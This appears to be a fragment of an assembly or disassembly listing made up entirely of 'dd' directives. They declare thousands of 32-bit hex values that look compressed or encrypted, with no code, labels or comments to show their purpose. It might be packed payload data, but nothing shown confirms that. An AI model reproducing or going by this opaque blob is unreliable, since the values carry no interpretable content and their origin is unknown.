		dd 0D19C1700h, 25C38BB1h, 74F2E303h, 0A0F55491h, 72027637h
		dd 2B9003ADh, 0EA0165B9h, 0F64B94F0h, 0E160240Bh, 0E8BB80BCh
		dd 752E7Ah, 407FCD58h, 5A951A8h, 345D8502h, 60F72A1Bh
		dd 0F293B24Dh, 747205ECh, 1DEDBCh, 0E20C08C0h, 170F3B45h
		dd 80EF8557h, 0FBF29C28h, 0BDF10383h, 94806689h, 4F3872A8h
		dd 30DB1907h, 13E06BD5h, 3C1C8Bh, 6AE099F4h, 5D4B7511h
		dd 0CD9B0E00h, 0E1A88147h, 38690040h, 0E6581A36h, 2B00B80Dh
		dd 90B78F27h, 604C19D2h, 868C11FFh, 0A700E957h,	0BCDED493h
		dd 8371DBh, 52C0C889h, 0F2D22AE4h, 7F87B500h, 0E9EC2E5Bh
		dd 59AA00E1h, 7B1F7060h, 7400A76Dh, 749CFA1h, 5E519h, 6B7A826Ch
		dd 0D80BDFDEh, 35973012h, 802B9049h, 0C2AF9F08h, 0E863005Eh
		dd 87FF7D0Ah, 4003673h,	6997D0F8h, 30F7895h, 85A24DD1h
		dd 63F0EF17h, 6A0381FDh, 0CD27DEDDh, 3192B0A4h,	55CE0470h
		dd 80CC86C1h, 1957FD7Ch, 0A367ABF0h, 0B2876711h, 22BC48C0h
		dd 18436162h, 803950E5h, 295BE99h, 0E88DB49Fh, 40A0009Eh
		dd 98F701CBh, 2C3970B9h, 50EA00EFh, 3DB7584h, 655902D8h
		dd 0EB5CDCBCh, 1EB361C0h, 7E447C1Dh, 0B50374FEh, 0FD57C9BDh
		dd 5A98804Bh, 3FCC9267h, 0E53319F2h, 807C1D98h,	4FE7BB00h
		dd 8762E039h, 28500BCh,	7F46CBFBh, 6101FFF0h, 9135A9E5h
		dd 57304FD8h, 3870272h,	73EA40E0h, 67BC248Ch, 0D06DBE33h
		dd 0B401E4AAh, 462EE57Ch, 8484B878h, 198EE300h,	37D25DB5h
		dd 0EF4B0050h, 3968EB14h, 36130DA4h, 0E3003F97h, 5FE75D40h
		dd 0DC3A1ECAh, 0A9124010h, 0DBE9730Eh, 2CB11309h, 4983D7F7h
		dd 0CBF8B08Ch, 0E4006611h, 0F5E3430Ch, 90502Fh,	82793634h
		dd 0DE48FF0Bh, 46F8BD07h, 0E240E962h, 0C0644DC4h, 9EAB49D1h
		dd 4800A1DFh, 0EC06803Fh, 32445Bh, 99E6D693h, 1E927136h
		dd 68969800h, 1131ACDCh, 6A550035h, 0F4FB8BB3h,	5D1F0DB9h
		dd 2AC92399h, 0FFB4009Bh, 91E85813h, 0D96E002Ch, 5710BCC5h
		dd 564A904h, 9CD067C9h,	66D37891h, 30FC506Eh, 35009BFCh
		dd 3D02E12Ch, 7F6785C1h, 272000D1h, 0C90D9F60h,	630E4182h
		dd 0C0E32C6Fh, 726B84CCh, 0A3883FE2h, 0BC80FCBEh, 165C36F7h
		dd 0EE3A83E4h, 0E73D002Ah, 0B1AE98E0h, 12B9008Dh, 24C4B82Ch
		dd 15F04503h, 85B25C00h, 70DE31E1h, 8C280B82h, 0C0067F5h
		dd 94E413C1h, 5CAD221Dh, 27D55589h, 0FFE0380Ch,	309E32EFh
		dd 0A2D84D1Bh, 0C000156Dh, 0DF8FB5DEh, 28E26529h, 8CD30Eh
		dd 9A95B168h, 7926A430h, 4BA860C0h, 44027D6h, 4D44C02Bh
		dd 6DC0D00Fh, 89000A23h, 0F80C48FEh, 12592094h,	406537ADh
		dd 15E96E34h, 520FFCB5h, 80BF80E5h, 6726E4FBh, 233E0081h
		dd 2725EE94h, 32002A98h, 6488BDDAh, 9640C3h, 4222ECA8h
		dd 0E8A55E0Ch, 17D55A00h, 748BFC2Dh, 0CE660082h, 0A9963510h
		dd 1C00D757h, 0CCFFF2EAh, 24699Ah, 0C0CD5636h, 4B662304h
		dd 84E4B83Dh, 189D3140h, 6C50D0D7h, 211CAE1h, 9082BDDDh
		dd 0D4826A86h, 0ECE00589h, 0AA01667Ah, 0AFABC807h, 0B6E819F6h
		dd 0D6F2120Ah, 6AD2005Eh, 0F13B4720h, 0CF5BDD18h, 0AC5D28h
		dd 7A0E67A1h, 0C05A4C8Ch, 2D718A05h, 0D4042695h, 0E440BBF6h
		dd 560B0F31h, 0EC63E12Ch, 0E0647005h, 0A6A9C040h, 9758E6h
		dd 4202E778h, 53C596A3h, 0F37C5A00h, 0FEAF3DB9h, 96700D5h
		dd 5EB36BD8h, 4828BF3Fh, 0B839C826h, 9D0C01A7h,	0A2012757h
		dd 0F77990h, 70AF903Fh,	0E28079C7h, 1B24005Ah, 0BC7F6429h
		dd 0BA0C91B1h, 0D8F5B376h, 60E4AA4Ah, 16CA998h,	24728A3Eh
		dd 0ECC77A0Bh, 0CB2838F7h, 0D3009C06h, 2B19349Bh, 1EF574Eh
		dd 78C05F97h, 0E83D7E77h, 6A4D9B09h, 0E8560090h, 7BFB6106h
		dd 0E3DA136Fh, 0C513E7h, 0A9E0220Fh, 5C010510h,	0AE5933A0h
		dd 0C7604F2Fh, 0F306007Ah, 0BD25E8B6h, 70171A3h, 0F4508F70h
		dd 33E49957h, 82FB308Ch, 1BF24848h, 0C8DA6600h,	0AFF1282Eh
		dd 2DB800E6h, 4B229E74h, 0B417B1A2h, 50006001h,	0CCD51FBEh
		dd 5A680199h, 8D13AB85h, 0DC54707Bh, 0AC9D5102h, 0C85634B2h
		dd 0E833CCh, 37687FFDh,	3C439399h, 90737728h, 0DB1DC173h
		dd 3E806007h, 0FCB1FD81h, 8294A26h, 0A60B3A9Ch,	50BC006Bh
		dd 56DC9Dh, 87414E9Fh, 722825AAh, 0C230190Ch, 36286E8h
		dd 34319DD4h, 0B0074087h, 188F8EE4h, 80281C80h,	0CCEA583Dh
		dd 0F34BF601h, 0FC60E1CCh, 3B1E48DFh, 0D4EE92F7h, 7E9CA14h
		dd 942B212Ch, 0C0C73672h, 922259D8h, 0BB7407E4h, 0A221E753h
		dd 4C40BF1Bh, 0B200D84Eh, 8369BCB1h, 512C8A1Dh,	3040FC6Bh
		dd 13EE74h, 75AFF263h, 0F31695CEh, 331C2401h, 0DF2138F0h
		dd 58E392FCh, 0D8267CFAh, 27190A8Ch, 101103C8h,	7180C853h
		dd 58923ED7h, 264EBD00h, 2A49A7B6h, 0C8830038h,	0E8D8F6F1h
		dd 5090A648h, 0F453AC03h, 2E7D54C4h, 3C6010h, 4A414C68h
		dd 18071A73h, 0F6623315h, 0E0CCAA03h, 8A5DA2h, 28FBCADAh
		dd 0B301AD1Ch, 912E18FAh, 0EF0456F6h, 0C1879FB9h, 29C036A0h
		dd 0C12D02F1h, 94C434A0h, 19B1AF60h, 0E72C680Eh, 0F201C088h
		dd 0BBD9Ch, 6C678FBCh, 0A9B82EB0h, 0A7698000h, 9E90F939h
		dd 0DB770016h, 495FA3Bh, 0CE0043A4h, 0AF56C725h, 81DA4Bh
		dd 319902F2h, 186A9C57h, 259ABA07h, 0EF60A223h,	0B3EEAEh
		dd 5EC3B530h, 0B0A8471Dh, 79C06200h, 0A4E1A251h, 0EEE70098h
		dd 4F7C5F8Ah, 0FB3F3465h, 0CD7A80ADh, 0EB451A0Eh, 0EEC71DD2h
		dd 0A7A2C306h, 0DDE863C9h, 0BF00944Dh, 7DE39A6Ch, 76923C51h
		dd 0A8B25Bh, 0D85C2006h, 7117480Ah, 960004B0h, 0B6473267h
		dd 244DC2D0h, 771C5ACh,	0F0D32761h, 7FC0AF64h, 0CEBB8300h
		dd 0C5193F79h, 0D17C0002h, 5311256Bh, 69079795h, 7A271858h
		dd 8FB1E1E0h, 16740EBFh, 0D8C0CD20h, 0FF40A526h, 64210106h
		dd 37483C37h, 0E9D89EF4h, 0FA0D7890h, 0F0715400h, 0B653CC73h
		dd 5BCE009Eh, 0E1722C3Fh, 272455F8h, 0E6817467h, 9BCCB197h
		dd 1C3B21F8h, 0C092D35Ch, 13F17CDh, 0D72CFC45h,	4CBF7C69h
		dd 351B000Ch
		dd 9BC1D27Bh, 3C310032h, 0D8F5AE3Eh, 4D25DE41h,	39000021h
		dd 4223FDBDh, 5E9E1738h, 520DC1Eh, 0EA41E008h, 59104878h
		dd 54888512h, 2E78E89Ah, 40EC2AE5h, 0E86240B2h,	0E0BD313Dh
		dd 0ECE3DE69h, 7C6C73ADh, 27E52829h, 5D51818h, 2E0607Dh
		dd 80B28733h, 15AED867h, 16C7CF2h, 0B1B4A2BFh, 83669C7Eh
		dd 0DDB29B78h, 28516162h, 29A5985Ch, 7CEA1470h,	7AE2005Ch
		dd 8400187h, 5A640772h,	0F016CA5Eh, 5FF18BBh, 0F200D070h
		dd 7327CF03h, 7396111h,	2E676308h, 3B5E6066h, 161C5DDAh
		dd 0AF40920Ah, 74CEF0B5h, 0A2B80017h, 0ACDD8B6Fh, 0F4004F2Ch
		dd 0AE449E89h, 38CD2F93h, 6F9EC5CBh, 86EE016Ch,	808C7BA8h
		dd 0E2B0D38Ah, 138FB613h, 0A5EB37h, 0F97BC6F7h,	0D2008CF6h
		dd 59CB6912h, 0A8324B1Ch, 0ABB1D98h, 0CDB4A1A7h, 5DBC0C94h
		dd 21C04E08h, 0CBA7B3FFh, 1871003Eh, 61F0B0F2h,	6A123FB6h
		dd 0D069FAh, 0C70104A8h, 90E12218h, 776CA438h, 0CD2081F7h
		dd 645EB23Dh, 6633180h,	0E1F22BDEh, 0EA62BD0Ch,	0C05C08F9h
		dd 0DE0EA821h, 10002C6h, 93C53CC2h, 0AEE679Bh, 69396B4Ch
		dd 655D02DEh, 0CCA063F0h, 0E42D859h, 80784148h,	0BA72A006h
		dd 893F5CFDh, 19A7E50Eh, 2321538Ch, 0AF729800h,	0E6101AECh
		dd 2AC130D1h, 84A840B8h, 0C7D06667h, 1E559541h,	28796980h
		dd 12E0FB24h, 9839870Ch, 0C0710822h, 24105F21h,	0F600D6A0h
		dd 8EC3D76Ch, 18800E6Bh, 611DB689h, 442ACC8h, 2F019423h
		dd 2AE0FA24h, 5E887718h, 0D4240717h, 0F167C8E9h, 0F0CCCE3Eh
		dd 5554D15Ah, 7D1CECBCh, 9340B246h, 0DD17A339h,	0E4777Fh
		dd 1CF88D49h, 0CBA2BE58h, 50FCFD4Ah, 0B5668C00h, 76DC3C9Dh
		dd 0AFBAFF00h, 0CF603844h, 0E37840h, 0EC0B2F2Bh, 0C47BA9F4h
		dd 8ED81507h, 30B0C1C6h, 77893F09h, 20ED680Ah, 54DD00ADh
		dd 0D09042C3h, 8A4A0700h, 77AD4573h, 0EDC41B5Eh, 300C48F1h
		dd 59FAEC54h, 8D9E0360h, 79C9221Dh, 0C6EB2080h,	0DE70C500h
		dd 0E7F78928h, 0F2900078h, 1FD495C7h, 0CF1A55FAh, 4351AF70h
		dd 0A477C014h, 0E34500F4h, 7F07656h, 0C660AA90h, 7EB843A1h
		dd 2A50C01Ch, 50C1700Dh, 6DCF880Dh, 0B8804994h,	72736CD2h
		dd 0A600F5E0h, 1205B0AAh, 7011919Eh, 0E11E01D6h, 7292CE0Ah
		dd 8413307Ch, 950DEF0Ch, 407D283Ah, 0EA004509h,	0EEDF9D55h
		dd 0A0C88690h, 5472E444h, 0F68842Fh, 0B01AD520h, 838D9C8Fh
		dd 5946C030h, 9EC9702Eh, 0A66CE907h, 0A86B8A23h, 95D413h
		dd 4F0261E8h, 87B5936Fh, 18F80A00h, 0EC3BAE64h,	9B470058h
		dd 13C3F8Dh, 0BE009C6Ah, 6E7E105Bh, 0B3EFC6h, 15892FDDh
		dd 0B2774FFh, 0F99E5500h, 5C9842Eh, 0EC93011Ch,	62607C40h
		dd 994EC44h, 0CB38987Eh, 4B3301F2h, 0F014D4CAh,	1CF72D8h
		dd 40D1C546h, 0C4646086h, 9EF6071Ah, 22ACF400h,	7A2BD7BFh
		dd 87C0037h, 44464806h,	0B5003C92h, 0EB15E7EFh,	778134h
		dd 821B8B8Dh, 9F2402F9h, 2B9E0112h, 0CD85BC00h,	0F613D6BBh
		dd 0FA170062h, 0A2F7B73Ch, 6478CFA1h, 0C4847600h, 1524B67h
		dd 6B9A0F57h, 488E60B2h, 7D3C8BE0h, 66099E2h, 2DF2D0C0h
		dd 39430163h, 0C249F42Ah, 6BE609Fh, 0B091D00h, 934171EEh
		dd 0AAEA00DEh, 0A9CD9252h, 8D000260h, 0C0395E6Ch, 3A50D74Ch
		dd 31832EC4h, 3B6489F7h, 52258DB8h, 0A6B1840Ch,	1CF1B88Bh
		dd 0CFD35401h, 37639BDEh, 9F9310DCh, 22631382h,	0E07B8800h
		dd 0B9B22540h, 88990174h, 64E7FDF0h, 3742C08Eh,	8F0F0B00h
		dd 0DDF1A144h, 0C391C0F8h, 0E6C7509Dh, 0C6869A06h, 489CD9E9h
		dd 50A3FCFh, 1E931A3Dh,	316830DEh, 6E021F9Ch, 0EDAE5A4Eh
		dd 2C5DE082h, 7FE259h, 92E4CCC6h, 0F17B2FE0h, 28E1D00h
		dd 9A7015FDh, 0C1E02A4h, 0BAFCC910h, 793B607Dh,	0B79B032Bh
		dd 0D551D8FFh, 7BEEF087h, 0DF50404Ah, 0A1015080h, 0C1D7DA4Bh
		dd 130C09Ch, 5CB112B7h,	8D2A00C8h, 0CBAFE0EBh, 0FC5BD628h
		dd 691C491Ch, 583763C0h, 98AE38h, 3ED6219Bh, 7CDDF543h
		dd 4B005F7Fh, 200F132Ah, 925C15h, 1ED6BE23h, 0D38F34CCh
		dd 0F0588600h, 0FC30797Bh, 972738E6h, 0ED518980h, 71E0B74Ah
		dd 0BEB8081Ch, 0A521C600h, 7942DD03h, 0A1A90164h, 0B37CFF53h
		dd 49D5F4D9h, 3E01BC73h, 9E2F6734h, 0E08F318Bh,	0A9406865h
		dd 0E524C8E7h, 213D800h, 2E9B3EE8h, 691072Ch, 0F087037Eh
		dd 0E23C8972h, 0C123D201h, 71572D12h, 9F404C0h,	0FA679253h
		dd 0FB8DF000h, 0E3695FF3h, 915B806Ah, 393B5721h, 0B200C6E4h
		dd 28660A49h, 0A300817Ah, 6C9EB5EDh, 717AA45h, 0BC71A8E6h
		dd 0A9277047h, 0E10A11E3h, 9810C4ACh, 77BD803Fh, 0BBD9FCD2h
		dd 63B001E4h, 85901EDBh, 0C268D857h, 3410F924h,	307DA04h
		dd 4581C01Ch, 70D5B250h, 60095FAh, 61379394h, 7B4471CDh
		dd 0F6C90031h, 2E32BB26h, 10008324h, 7D11FDEh, 31EE0Ah
		dd 9A7A58B6h, 9E6B4D94h, 7C00F9F0h, 2B0A3525h, 769D89DEh
		dd 68CA03ABh, 0CE58D995h, 0FA82B580h, 92B4FB00h, 5D7C8329h
		dd 0E511006Dh, 2A324126h, 0AC0CD66Ch, 0B8270F43h, 58FB0338h
		dd 3C10ABE6h, 0B861C000h, 4A6C667Ch, 0F5750317h, 0DBAC0BA2h
		dd 0FD80CABh, 8B00370Eh, 609BDA20h, 0A17665h, 0DE84F4CBh
		dd 0A58AAC3Fh, 1C2B4Dh,	447CD0ECh, 0AE63D3h, 2EB6387Bh
		dd 80AF1E81h, 7EABA000h, 2C71209Ah, 0DED200ECh,	6A109951h
		dd 0AEE4E631h, 384AF11Eh, 271B7CC0h, 0F3305E5h,	0CF675B1Dh
		dd 5C71F9E0h, 8C009039h, 0A638881Ah, 0B86EBDD1h, 0CBDF018Ch
		dd 1FAF9D8Ah, 13F2E404h, 535D2900h, 0E23B6A99h,	18F40082h
		dd 87E8F616h, 0F700C1E4h, 368F676Dh, 0EA94FEE7h, 69730046h
		dd 0F93F2741h, 33007722h, 5FF629A0h, 1BB58A6h, 0CC648E1Ah
		dd 0D4EB3BEFh, 60004F46h, 0FF84E7B7h, 0E4A901h,	59CFDE9Ch
		dd 56665754h, 0E75DB31Fh, 2D006424h, 0A7727BEBh, 7CF10016h
		dd 0BE8634B5h, 0A3C0ECFh, 2F5B80E9h, 67D329BDh,	0F15715Dh
		dd 12348086h, 71419F80h, 0AA58FCB0h, 65190192h,	2CDDD6Fh
		dd 4D146884h, 0EB0600C3h, 240E9986h, 10840E4h, 0D069A233h
		dd 30DDFD9Ch, 0BD3D750Ch, 147F263Ch, 74EE4681h,	5C204195h
		dd 0BF79007Dh, 45375B15h, 0ACFFA9FCh, 1D078539h, 33306A89h
		dd 9C1DF9Bh, 0AAB0B494h, 0F5202C2Eh, 0EA35D1D0h, 4B119E00h
		dd 9A75B838h, 6479A0h, 441D36BFh, 0EDB4F6C2h, 0F70099E6h
		dd 901C3C70h, 0D6E93Dh,	8116CD57h, 0F92B9B69h, 0F77A3000h
		dd 8F0C841Bh, 0BE8E07A8h, 0E0A95E99h, 7B66B824h, 22B26C00h
		dd 15A24DA0h, 50DF47h, 8DAF809Ah, 7A73DB7Dh, 74EAE8F8h
		dd 27ADDF00h, 293E1988h, 5FC20087h, 84D403Bh, 0B5006261h
		dd 732BDBB9h, 1CA03726h, 6C93BAD1h, 7A4D00D8h, 2D55608Bh
		dd 8EFFF700h, 0A8199D84h, 0BADB00A6h, 0B03DEBF8h, 522649F9h
		dd 540AB895h, 9C008862h, 0FBA70BDDh, 94609DD7h,	7D157EE8h
		dd 0F8A264h, 418DF997h,	50DAACh, 0ECC62C2Ah, 0D11B8A9Ch
		dd 0C0E308FEh, 270024E7h, 2FCCAF2h, 7AD47C96h, 0B9DE00E0h
		dd 0C79FA66Eh, 67038601h, 8337B65h, 0D89000B1h,	66D4CE1Bh
		dd 400C5AEh, 0A1EB41BDh, 0F18884Dh, 9326A8F4h, 20803527h
		dd 0AE8CB692h, 7638E400h, 0EC01B23h, 1CB02C5Eh,	3FC50013h
		dd 7A68A4D8h, 0EEF1ED13h, 1D5DD840h, 0F9A7CBFh,	792B4E6Fh
		dd 6CACA6C0h, 0C5000196h
		dd 0FD5925C7h, 5DB7C002h, 2902B073h, 4BAF087Ah,	0CAC254E8h
		dd 8503367Eh, 0ECE3E853h, 6E6100E6h, 0E7660789h, 60676F4Dh
		dd 0B9565B08h, 53088020h, 2F89E5h, 311D6B24h, 0BC207A01h
		dd 2881D221h, 0CB600775h, 0D8E186E1h, 519696Dh,	0BC2052FFh
		dd 0ED7E26E0h, 74975ECh, 2D741107h, 0C30EC8E8h,	42E146E6h
		dd 0EAA90028h, 6E95273Ch, 800007ADh, 8D0B6084h,	0A2FA12h
		dd 37DBB135h, 2ACE9E3h,	0E2C1280Eh, 0ABC0413Dh,	0FCC418D7h
		dd 74E00090h, 5E43E3C8h, 0FD0F759Ah, 0E0D22DD4h, 0B2A38DBBh
		dd 0F4633A34h, 0C72A0E80h, 7F5F3991h, 0F7BC031Dh, 38C0807Dh
		dd 3359A0BFh, 9AD60095h, 0E9D5923Dh, 0A003C77h,	0D7B2B63Eh
		dd 8D1A9Eh, 306CA64Fh, 0D432D980h, 0B002514Ah, 0C0E3DF9Fh
		dd 74E3A87h, 945EB428h,	0EB7750FCh, 0AC000F1Dh,	0C9EC015Dh
		dd 24EE0AAh, 83BF161Eh,	54687ECDh, 5B0FB7C5h, 47C9EE05h
		dd 1C60C6D4h, 94D03C03h, 1FC09B0h, 201AD400h, 0CC071FC3h
		dd 0A1F1806Fh, 4DE1B6B0h, 1667916h, 0AFF01B4Eh,	0F4E5363Bh
		dd 0ED1DCEA2h, 9D848717h, 0C0EBC0A5h, 97E21F71h, 85791200h
		dd 0C1538B16h, 0C3370BF0h, 10007E18h, 6D38EA94h, 41B72C00h
		dd 0AE030A26h, 17610F02h, 0FC00D4FAh, 49C57852h, 6AE45303h
		dd 889FAD10h, 61807E05h, 0A25F686Ch, 0B103DCD7h, 5DE74103h
		dd 80063313h, 72168B4Bh, 0EC5C2C01h, 32F00094h,	544F2C73h
		dd 19D64A03h, 0C08FB930h, 0C55311h, 67DB3CE4h, 7A7E0AAAh
		dd 6ADA3700h, 0E05C4724h, 1CFC5C64h, 76549601h,	71780BFBh
		dd 111BDD94h, 0F460F3D6h, 516E2E2Dh, 56888384h,	4FE83760h
		dd 0BA79B179h, 0EC1414B2h, 2EA7CF5Bh, 5D801C42h, 5993820h
		dd 68A00EF6h, 3CA0817Ch, 0D08A2C9Dh, 0CCB87E00h, 0A953C5BAh
		dd 0EF1E5858h, 0FEC40E7Eh, 2D619E8Ah, 30BAEAE1h, 1C73DEDCh
		dd 4EC6260Fh, 5AB720A2h, 790FA8h, 2EC29605h, 0DCCEED12h
		dd 0A6927A00h, 73C96B76h, 3C91008Ah, 0B5582E14h, 5D28BD24h
		dd 1901E884h, 8D063899h, 0D0CC47CFh, 0AF18005Ch, 0A6F7BF65h
		dd 841E419Ch, 0A5802AD9h, 0E33A2F75h, 0F92400E1h, 47B737F4h
		dd 0B216D339h, 5849AF9Fh, 1A044F1h, 3A44C174h, 0FD73CCC9h
		dd 0A6EDFC33h, 510FF098h, 80C72EC4h, 58DA7074h,	607200A1h
		dd 0B416386Dh, 0C40EEC42h, 0D4064D5Fh, 92120080h, 0EEA01333h
		dd 0B6B0E5h, 1532ED9Fh,	5F3A0E5Ah, 0A2FCAE12h, 0A64CCD0h
		dd 35C5144Ch, 4E11EC77h, 0E37003BBh, 0BB98AA1Bh, 865FE0FBh
		dd 0EA1D0148h, 38E12CD2h, 54E464B4h, 0E2C2EF12h, 87B1404h
		dd 0A6A48Ch, 0FB9733F4h, 5932F8AFh, 8CF62500h, 0F269A40Bh
		dd 107BBEh, 9007F398h, 990EE835h, 0BC065002h, 48BABF9Bh
		dd 885528h, 0A7818E95h,	0BB518BA0h, 0C0C0DEF9h,	0D0A09C1Bh
		dd 3D1837F1h, 4C88FF18h, 0DABD024Dh, 0FC58B160h, 0D0DE65C0h
		dd 91AA790Fh, 6BD80054h, 18721h, 0CFAF034h, 2F457786h
		dd 165CA012h, 43315C08h, 6BE96951h, 0FC98E5E4h,	1804798Eh
		dd 57B20BB7h, 79224C8h,	6E907E72h, 8326E459h, 43F9D0C0h
		dd 0C7752013h, 0AFF59D00h, 0BD642E27h, 9CCE09F9h, 7400C2D4h
		dd 0B374266Bh, 2F1DA800h, 437233EAh, 4E4800C0h,	7F18F125h
		dd 0E23BC99Eh, 0F962877Ch, 400FD8FBh, 0CC61214h, 207B0Fh
		dd 0ADA74FCh, 0F58CF706h, 384AB300h, 0C2E2FFAh,	0B7600021h
		dd 7CF5939h, 0F8F5156Ah, 1D3F8C4Eh, 0ECDF032Bh,	3A914731h
		dd 0F1DE628h, 0D0CA407Eh, 3537698Fh, 98D11C12h,	0B3E86080h
		dd 5D8A307Ah, 0FBE99F30h, 30825E1Ch, 0CE802C5Eh, 7D9DCA52h
		dd 0F2E1E96Ch, 2D94E0E6h, 94BF1890h, 0CCC1110Eh, 0F4083100h
		dd 0F123444Eh, 895D03F5h, 0A0309B1Ah, 0AA1720D7h, 3B547299h
		dd 632C16CCh, 8400EFDBh, 3C29ADFAh, 35EE2C49h, 62A901B5h
		dd 28C0A1D7h, 3BB6007Ch, 921C100Ah, 7265FEC2h, 7DD0130h
		dd 0D622E3B2h, 5A1FC841h, 1FB90C0h, 0D26DD1h, 0C68ABB37h
		dd 67B9C2CCh, 4AA47B16h, 7E034807h, 0FD683520h,	2C100C4h
		dd 0DB5B388Fh, 6712EA56h, 0EF57B7h, 69E4B63Dh, 9116C62Dh
		dd 0B300E637h, 75336EB5h, 1F096F7h, 0BD820B11h,	2134D02Ch
		dd 69ACF200h, 9D22EAB1h, 283F4823h, 4F3E721Fh, 89E0730Eh
		dd 0E526790Ch, 0F4325C07h, 61A018BAh, 24602993h, 1D0F996h
		dd 0FAA8E62Fh, 0D9CDF430h, 2C0139EEh, 9F39B6Dh,	27D08E2Dh
		dd 19040985h, 0A005EAEFh, 0FC6C925Eh, 75CB8D10h, 242E00C2h
		dd 7CD6BBD0h, 0C3320D92h, 81149873h, 0FFD5FDB8h, 0DA46D183h
		dd 0F5D0E13Ah, 9025E37Ah, 0A0D42EF4h, 0C78CB3A4h, 268600DDh
		dd 0B8078811h, 800034B6h, 0E601C051h, 1D438E8h,	4233864Fh
		dd 0E488136Bh, 8303DD70h, 262DA274h, 2155F0E0h,	0C1E4E756h
		dd 0E1F81E27h, 11C200D7h, 4C0CA424h, 18998A01h,	0B5108773h
		dd 4851D850h, 0F66EA12h, 0C32139ABh, 611E9C0h, 71002373h
		dd 2E463A5Ch, 1C78D960h, 0C0374782h, 0BD2FB8F7h, 0F00085C6h
		dd 8AD70CBh, 241BBB5Ch,	3CB42B0Bh, 0ACF9CF03h, 0FDC813D3h
		dd 0ED7CF320h, 90382300h, 6D3D511Ah, 30FB00ABh,	894BDBC9h
		dd 2077BF2Dh, 0E22B1901h, 498D5FE7h, 0D4D0CEh, 0B43F4E6Eh
		dd 0F6AD168Ch, 0A0DA2100h, 6C3020C7h, 685A00CCh, 9C7E65B9h
		dd 2300DF44h, 9D51991h,	907F53FBh, 1806A13Ch, 9689B06Bh
		dd 0A305877Eh, 0F9981AF7h, 0FC4F8F80h, 1B460195h, 4757D6E3h
		dd 982CC7h, 0F9036B66h,	1262ADh, 739FC534h, 529E4220h
		dd 6000CD71h, 19165DE3h, 4DEE7FA9h, 78009CE2h, 0DE50D5B7h
		dd 0E900243Fh, 40C672D3h, 56D3E70h, 0EB36289Ah,	3D788CF3h
		dd 0FE2EEFFAh, 7109821Ch, 0C4CC881h, 880512DBh,	0BC30012Fh
		dd 0D1B82655h, 28C8D980h, 88888D4h, 17094C3Fh, 0C444804Dh
		dd 0C3E1FCE7h, 6C9C0899h, 0E2033078h, 0E84F413Fh, 953A007h
		dd 66B10027h, 24C6B3Eh,	0AA00582Bh, 91554D08h, 0E843C45h
		dd 326DB7ABh, 0E3094B81h, 7B58838Fh, 5DE00741h,	4B00F448h
		dd 0BCE19FE6h, 0CA2D2745h, 0E41C803Ah, 0CB274A6h, 41175A56h
		dd 0E14AC728h, 42ABE408h, 0D50165B0h, 6BD82D31h, 1304F689h
		dd 9074DCAh, 0EC46E675h, 5EDDB100h, 2D336876h, 0AE4E1EF8h
		dd 606E4340h, 0AA80747Ah, 543D0763h, 934A00F0h,	354E36E5h
		dd 91A80024h, 0B6570B04h, 390BFDBBh, 82B1445Dh,	0A550A600h
		dd 4386198h, 1CCD3E75h,	0D0853012h, 0C6FBE3CCh,	0FDBCAB01h
		dd 2D64E127h, 210F0898h, 0C6071329h, 0DDB68812h, 8BC57D60h
		dd 0A46E00F9h, 6303EAE4h, 3C027C02h, 0C3F8C8E1h, 57B7C014h
		dd 92320258h, 44CBA146h, 6860B8A0h, 0A40020FCh,	0DCA8D4E9h
		dd 111ADh, 6B043E8Eh, 257B062h,	566120C0h, 0A71652D6h
		dd 97E18820h, 0B987AC0h, 30F8019h, 0A09BBF25h, 226541C8h
		dd 37E8244Dh, 47E00C00h, 21C35E08h, 0B8222D27h,	3C77A2C4h
		dd 4A9DA33Bh, 0C9030064h, 0FDDB10E8h, 406FA8A8h, 582F9700h
		dd 0F43F747Ch, 0A141000Bh, 0FBBD37E7h, 24923D80h, 1B13DA00h
		dd 4D2FFFBBh, 1D3F84Ch,	0D5837A69h, 47E68870h, 0D8408198h
		dd 4AB889DCh, 3841079h,	0E8FE03B1h, 0F960EC62h,	593BCBD3h
		dd 0E4372B1Dh, 94C60401h, 1618F5BCh, 1C2888h, 729D7C6h
		dd 0C50E3698h, 4608ADF0h, 0EE960D4h, 31B808F9h,	0A038D73Ch
		dd 0CBFA7CFAh, 0CE71300h, 48EE4740h, 7A1CE59h, 0C8DB1C84h
		dd 5304ED28h, 1F6068A6h
		dd 27088081h, 0C2DC088Ch, 0B807AC20h, 464358A6h, 2D688A3h
		dd 7A8EF578h, 544955EDh, 0C9753074h, 0E84EBE32h, 0C61F302Ch
		dd 0C6BC973Eh, 25000D22h, 8EB8C617h, 94C86Dh, 5CBEF767h
		dd 0E37840BCh, 0D4A1140Ah, 8140E4E6h, 0FC9D7733h, 0C7D6244Fh
		dd 2C63C90h, 0BC90C618h, 100C3115h, 0FCC61024h,	0A708035Dh
		dd 70EE52FFh, 0EC801AFAh, 3EEC3B37h, 28184400h,	0EEBEBD7Ch
		dd 2182ED90h, 218C6823h, 6122FC80h, 8F2ADE7Ah, 9B0084F9h
		dd 0D68486EFh, 392D9332h, 0D504681Fh, 0C89AD7AFh, 7B003590h
		dd 0D0B6CF13h, 1BEE23BDh, 0A946A8B9h, 0ABB3701Eh, 37606107h
		dd 0A13381C9h, 10BF6D07h, 49CA024h, 103E0F8h, 0C640905Ah
		dd 46F0A0A0h, 0A64F0210h, 317F6064h, 0B44810D7h, 0C48E0FA6h
		dd 0B2A5F9D0h, 1C88041Eh, 6864007Ah, 6BD5092h, 0A4B848E9h
		dd 8E011815h, 6C747FD3h, 0E3D45E7Ch, 0E16F609Fh, 2B5B7364h
		dd 0CF01A278h, 6CC04AD7h, 0E84242C8h, 9CF441B9h, 22086818h
		dd 0C41FE850h, 302C4058h, 3630B22h, 0E336D992h,	0C105ECDBh
		dd 17D25EC8h, 4AD483h, 0DEB33631h, 3DD6D4D7h, 892DA00h
		dd 0A24E1E9Ah, 0C49B5297h, 4355651Ch, 0EABC4ABBh, 74855113h
		dd 1EEC491h, 0C091DA9Dh, 4752B044h, 329CFAAFh, 0C9029407h
		dd 3390C7B7h, 0D2D5D467h, 0D3080CB9h, 0B512BD51h, 10430188h
		dd 983B6BEFh, 0B87A9278h, 52230056h, 4B971FACh,	803003EEh
		dd 8BF981C6h, 75860F9Ch, 0BE217049h, 50604A1Ah,	195192E0h
		dd 5C0FF226h, 0E6EF7A43h, 0EA14A069h, 3533F8F3h, 8C66EDCh
		dd 0FAC03194h, 46BCAEC6h, 0E41022E5h, 0E4C60612h, 0FA5DD2C5h
		dd 343B402h, 0CB874A2Eh, 9607FD0h, 581680CBh, 0E802EC89h
